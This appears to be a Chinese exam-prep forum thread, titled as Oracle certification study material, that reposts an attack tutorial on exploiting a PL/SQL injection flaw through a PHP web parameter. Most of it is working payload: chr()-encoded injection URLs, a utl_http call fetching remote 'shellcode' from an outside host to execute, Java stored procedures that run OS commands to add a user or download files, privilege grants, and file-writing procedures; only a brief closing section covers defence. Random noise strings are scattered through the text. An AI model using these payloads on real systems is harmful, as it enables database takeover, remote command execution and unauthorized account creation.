a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 360|回复: 1

[考试辅导] oracle认证应用技术学习资料汇总23

[复制链接]
发表于 2012-8-4 14:06:19 | 显示全部楼层 |阅读模式
 刚才说的另外一种思路是直接获得系统的shell,在windows环境下,oracle是以服务的形式启动的,这样通过web注射就可以直接获得system权限,是非常诱人的。我们来看看如何操作吧!首先当然要用到我们上面说到的系统中比较少见的pl/sql注射,另外为了说明在php环境下对注射的处理,我们现在来假设我们的入侵环境是在php+Oracle上面,并且防火墙已经限制了对oracle端口的直接访问,如果是开放的话用网络上的直接添加系统帐户的方法也很容易成功!
+ e7 b: H1 l  q
) p7 @9 c/ T& N6 \1 ?; R  首先是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的注射的一些简单解析 # e6 d  V- N) m# f: z
  SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1); EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’’’CREATE USER TESTYOU IDENTIFIED BY TESTYOU ’’’’; END; ’’; END; --’,’SYS’,0,’1’,0)=’’ 8 |7 j$ f  _( i1 f3 b$ `$ {. W% B
: Q7 I6 X; E% Q, z) a. x: q
  这是我看到的原形,分析下就知道是在第三个参数存在的注射,并且是因为"没有过滤造成的,把第三个参数提取出来就是
( N/ K- {+ t8 D, B& S7 {# Z. z2 ?& b* V! [- L# L: p
  DBMS_OUTPUT".PUT(:P1); EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’’’CREATE USER TESTYOU IDENTIFIED BY TESTYOU ’’’’; END; ’’; END; --
" s! |. v5 U9 n0 M
, w% o& M. n5 P6 ?$ C! T  可以看到DBMS_OUTPUT".PUT(:P1); 与END; --之间的所有部分都是原有漏洞注射语句的地方,里面是’’是因为我们要提交进’,但是外层将字符串括起来的正是’,所以需要对’进行转义,用的就是 ’’,后面可以看到用chr函数可以避免这一点。这里我们将要提取出来用在web Hacking上,这个函数提取出来的原形就是:  SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1); [多语句]END; --’,’SYS’,0,’1’,0) 5 n% f. d1 A0 f. Z: J0 ~5 I

6 u& z: H7 j6 d& T6 T  我们要执行多语句,并且不希望见到会被php处理的’的话就要对这个进行简单地再变形,多语句里如果出现’的话需要用’’转义。  SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)|| [多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) ' k2 K6 b4 S- b* X3 ^

7 t5 U. n5 c  q: O" }! B; j: A/ E  没有出现’,并且可以执行多语句的的部分也很明确,用在web hacking上的模式就是  list.php?username=loveshell’ and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)|| [多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) & f2 X- j* r: x) A5 l& f, q
/ d! X0 Q+ }" ]
  呵呵,前面第一个loveshell’不被影响是因为会被转成loveshell\’,而这个被oracle看作是loveshell\这个字符串后面跟一个’,完全合法。这个漏洞是跟系统有关的,我们起码需要测试一下漏洞存在与否吧?也很简单,如果整个参数被处理好的话,我们在多语句里填写非法的语句是应该正常解析才对,所以测试可不可以执行多语句就用
& m( K- i  B4 ?2 H# J: C& e1 K1 I7 E, i
  list.php?username=loveshell’ and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)|| [一个非法的sql语句,如 chr(79)]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0— 0 a7 [) L+ x. K) X, l2 O7 t$ b, a) k

. ]% f; y0 R) B+ s9 U  如果出错了的话就说明漏洞是存在的(我测试的主机基本都有这个漏洞:P)但是到这大家也可以看到一个非常麻烦的事情,我们的多语句里的每个字符都转换成为chr的话整个参数将非常庞大,所以这里借用以下shellcode的概念,将我们的exploit放在另外一个地方,看我的语句吧! 5 R9 b( t2 [, m4 R" N/ I4 m
$ v& a& T# f. V. H- C$ }
  list.php?username=loveshell’ and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request(’http://www.loveshell.net/shellcode.txt’)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0— ( X% |# l" k9 ]1 a7 V

* h9 V$ Q; Q% F  对,既然我们传的多语句只是字符串,为什么不把字符串放到远程的机器上然后用utl_http包取回来执行呢:),这里为了演示方便我并没有对 http://www.loveshell.net/shellcod.txt进行chr转换,实际php环境下还是需要转换的。 ' f! t0 u: M# m- w) Q) j0 m& e$ I( w
. j0 q0 e, J# O9 E8 Y5 p# a( {. }
  好了,到这里我们能做到的是让Oracle将我远程机器上的一个文件作为PL/SQL运行了,很好,把前面的都放开,看如何利用现在的条件返回一个shell。查询相关的文档,知道比较通用一点返回shell的好方法是利用java外部存储过程,并且现在的除非是个人机器上,一般的都是支持 java的选项的,所以我们需要先来用java创建一个执行命令的存储过程。作为我们的shellcode需要变换一点东西,就是将必要的地方的’变成 ’’,为什么要这样前面讲过了。
5 i# j* c! ]& b3 e0 c: V" g" |
* s, C# w; J& ^  z% `! W! b  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command); }}; ’’; END; ’;
. B6 N! K: I0 G8 S: i( ]7 [! D! d这样就创建了一个JAVACMD的java包,里面含有个函数execCommand,然后开始创建Oracle的存储过程,
* z( c  R6 i- Z: n$ ?$ E: k- I
- d4 X3 {# F8 }' {3 P/ |; R. \  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ’’’’JAVACMD.execCommand (java.lang.String)’’’’; ’’; END; ’;
回复

使用道具 举报

 楼主| 发表于 2012-8-4 14:06:20 | 显示全部楼层

oracle认证应用技术学习资料汇总23

  这样放到我们的http://www.loveshell.net/shellcod.txt里,然后依次请求上面的那个注射的语句(使用之前请先将其中的utl_http.request(’http://www.loveshell.net/shellcod.txt’)替换为 utl_http.request(chr()....chr())的形式),就会在服务器创建存储了个javacmdproc过程了,参数是字符串,会被当作命令执行。我们执行试试
/ _1 ~" t! B6 n6 Y% g
$ T4 N* A2 F- ?9 K  将shellcode.txt内容换成 5 d5 Y' P" [7 P4 X4 H
  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’begin javacmdproc(’’’’cmd.exe /c net user loveshell loveshell /add’’’’); end; ’’; END; ’;
# I$ }6 L4 e: `& N. S  C/ j  或者在linux下就是 & H6 a2 u; D' n7 L3 h6 Q' o
  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’begin javacmdproc(’’’’wget http://www.loveshell.net -O /tmp/loveshell’’’’); end; ’’; END; ’; 0 F, G5 v+ r# T' C/ S% E
  呵呵,有可能成功,但是也有可能出现类似于下面的情况
2 r" {) B/ @2 E$ X% r  U7 f% L  ERROR at line 1:  ORA-29532: Java call terminated by uncaught Java exception: - u6 z+ `* @, |& M
  java.security.AccessControlException: the Permission (java.io.FilePermission . [$ M9 k" W; D8 i
   execute) has not been granted to LOVESHELL. The PL/SQL to grant 6 F3 B% Z0 Y3 M
  this is dbms_java.grant_permission( ’LOVESHELL’, ’SYS:java.io.FilePermission’, 7 v/ |. `7 g% E* s0 ]
  ’’, ’execute’ )
% R5 a4 l: `8 ?& w  ORA-06512: at "LOVESHELL.JAVACMDPROC", line 0
& ^; j3 _2 W9 R: Q8 o( K! s5 R: J$ [  ORA-06512: at line 1 ( g* {# W- @0 S3 F9 @1 L
  没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的
1 S; ]) {9 c+ g9 f2 S  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’grant javasyspriv to loveshell; ’’; END; ’; ! z2 p$ w! Z; Q
  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’begin exec dbms_java.grant_permission(’’’’LOVESHELL’’’’,’’’’SYS:java.io.FilePermission’’’’,’’’’’’’’,’’’’execute’’’’); end; ’’; END; ’; 8 @" N/ X1 ]: E0 n7 v% ~) c" |0 a
8 x2 v6 j* R) F3 n1 L) |0 k
  各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。
1 n  E8 ~! {& T. ?0 j- G: ]9 ?  根据自己的情况将这个语句类似的语句放到shellcode.txt里执行,然后就可以顺利地执行命令了。java本身是很强大的,直接返回 shell也是可能的。当然,当数据库在本机的时候,利用系统中存在的utl_file包写一个文件也是可以的。这里提供简单的,可以作为 shellcode.txt里运行的代码 - \9 g1 C1 j. ?$ v

  l& x( v7 ^& _" U5 v5 d  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type; begin fd := utl_file.fopen(p_directory, p_filename, ’’’’a’’’’); utl_file.put_line(fd, p_line); if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if; end; ’’; END; ’;
4 u$ J3 \9 m5 l+ B: |0 O5 s, @( r1 ^
  这是创建能写文件的utlwritefile存储过程,注意这里的目录是oracle里的虚拟目录,不是物理目录,我们需要自己创建一个虚拟目录并且给予相关的权限
8 J4 _& e4 M1 N. u# _; n
  ^1 b0 Z# k7 k; \  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’create or replace directory utl_dir_new as ’’’’f:/inc/’’’’’’; END; ’; # t9 f5 D) g' |1 b9 W
8 j& ?" j& E1 o$ l% z
  这里假设需要写东西到f:/inc里,建立了个utl_dir_new的oracle目录,然后给权限 - N. B+ {0 p) ?: n6 s& f/ ]
  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’grant write on directory utl_dir_new to public; ’’; END; ’; 8 {' k: y' }4 b" j5 m7 M
  EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’begin utlwritefile(’’’’UTL_DIR_NEW’’’’,’’’’1.php’’’’,’’’’test’’’’); end; ’’; END; ’; - O+ v, P2 [3 E% O" M0 K! }* q
  注意UTL_DIR_NEW的大小写,这里写了个test到UTL_DIR_NEW里面的1.php里。 . C) O, p  H/ d; T& A; Z0 E
/ P3 x6 a8 u1 a( n7 A
  五 环境限制 ' A. C" r  a' ?- Z8 U
  上面演示的是用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的漏洞,漏洞跟版本有很大关系,所以上面的信息探测也比较重要。实际上,在早点的8i版本里也有类似的漏洞,ctxsys.driload.validate_stmt(’grant dba to scott’)这样的形式可以直接以高权限身份执行各种Oracle语句,也可以相应地用在web环境注射里。只要存在可用来执行多语句的漏洞,web注射就有非常大的利用价值。 1 Z* h9 h$ |: N. D4 M
7 r' ?* v: b; d3 Z: |& Q
  六 关于防护 0 `$ k9 D) o+ S
  首先就是尽量有好的编程习惯,避免使用字符串连接的方式来执行Sql语句,如果一定要采用字符串连接方式来执行Sql,那也对进入的参数必须做好过滤,是数字类型的话就强制为数字,是字符串类型的就要做好过滤,从数据库等其他途径过来的数据也必须做好验证,在web app上杜绝Sql注射漏洞。另外在Oralce方面就是要做好对1521端口的防火墙过滤,避免被人直接登陆,对一些不需要的包和存储过程可以考虑删除,对一些Sql注射漏洞也要及时做好补丁,避免数据库的沦陷。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-5 06:41 , Processed in 0.248922 second(s), 23 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表